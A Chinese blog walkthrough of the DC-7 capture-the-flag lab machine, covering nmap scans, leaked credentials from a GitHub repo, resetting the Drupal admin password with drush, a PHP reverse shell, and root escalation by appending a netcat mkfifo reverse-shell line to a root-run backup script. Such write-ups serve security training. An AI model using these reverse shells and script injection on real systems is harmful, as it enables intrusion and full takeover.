当前位置:网站首页>DC-7靶机
DC-7靶机
2022-07-07 00:52:00 【m0_62094846】
ifconfig
查找主机IP
扫一波内网,探测下存活主机
nmap 192.168.61.0/24
使用nmap工具对DC-5靶机扫描开放的端口
nmap -A -T4 192.168.61.136 -p- -oN nmap136.A

nmap -A -T4 192.168.61.136 -p- -oN nmap136.A
有22和80端口

下面有提示DC7USER
百度一下
可以下载一个文件


这里也说明是重要点
下载到kali本地
git clone https://github.com/Dc7User/staffdb
cd staffdb
ls
cat config.php

使用SSH链接靶机,登录dc7user发现可以成功连接

ls
查到 backups mbox
backups下:website.sql.gpg website.tar.gz.gpg
发现两个文件,但都是以gpg结尾的,gpg命令是用来加密文件的,加密后的文件都是乱码
mbox是个文件
发现备份执行的源码在/opt/scripts目录下

进入/opt/scripts目录下
cd /opt/scripts
查看文件
cat backups.sh

发现两个命令 gpg drush
gpg命令用来加密,drush命令是drupal框架中用来做一些配置的命令,它可以改变用户名密码
进入到/var/www/html目录下,因为网站会有一个admin用户,所以使用drush命令修改admin用户的密码为123456,发现可以修改成功
cd /var/www/html/
drush user-password admin --password="123456"
![]()
admin的密码改成了123456
用dirb命令扫出页面
dirb http://192.168.61.136

在Content—>Add content-->Basic page下,准备添加PHP代码反弹shell,但是发现不支持PHP
百度后知道,php要单独作为一个模块导入



PHP的模块下载地址:
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz


勾选,然后点最下面的install

然后就可以了
回到当时的页面,就可以使用PHP了


用蚁剑就可以连接成功了

然后用kali监听
nc -lvvp 4444
nc -e /bin/bash 192.168.61.129 4444

python -c 'import pty;pty.spawn("/bin/bash")'
连接成功

find / -name backups.sh 2>/dev/null
然后
cd /opt/scripts
ls -l
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.61.129 7777 >/tmp/f" >> backups.sh
nc -lvvp 7777

得到了root权限
cd /root
ls
cat theflag.txt

边栏推荐
猜你喜欢

产业金融3.0:“疏通血管”的金融科技

JVM命令之 jinfo:实时查看和修改JVM配置参数

Bbox regression loss function in target detection -l2, smooth L1, IOU, giou, Diou, ciou, focal eiou, alpha IOU, Siou

Industrial Finance 3.0: financial technology of "dredging blood vessels"

PowerPivot - DAX (function)

Introduction to yarn (one article is enough)

POI excel export, one of my template methods
![[InstallShield] Introduction](/img/df/4522d06510ff918d00659b8358368f.jpg)
[InstallShield] Introduction

EMMC print cqhci: timeout for tag 10 prompt analysis and solution

Message queue: how to deal with message backlog?
随机推荐
VScode进行代码补全
驱动开发中platform设备驱动架构详解
SQL Server 2008 各种DateTime的取值范围
Question 102: sequence traversal of binary tree
CTFshow--常用姿势
Introduction to yarn (one article is enough)
Flinksql read / write PgSQL
[daily training -- Tencent selected 50] 235 Nearest common ancestor of binary search tree
Jinfo of JVM command: view and modify JVM configuration parameters in real time
【FPGA教程案例14】基于vivado核的FIR滤波器设计与实现
Red Hat安装内核头文件
PTA ladder game exercise set l2-004 search tree judgment
Bbox regression loss function in target detection -l2, smooth L1, IOU, giou, Diou, ciou, focal eiou, alpha IOU, Siou
pytorch_ 01 automatic derivation mechanism
Go语学习笔记 - gorm使用 - gorm处理错误 | Web框架Gin(十)
POI excel export, one of my template methods
Input of native applet switches between text and password types
New Year Fireworks code plus copy, are you sure you don't want to have a look
STM32 key state machine 2 - state simplification and long press function addition
盘点国内有哪些EDA公司?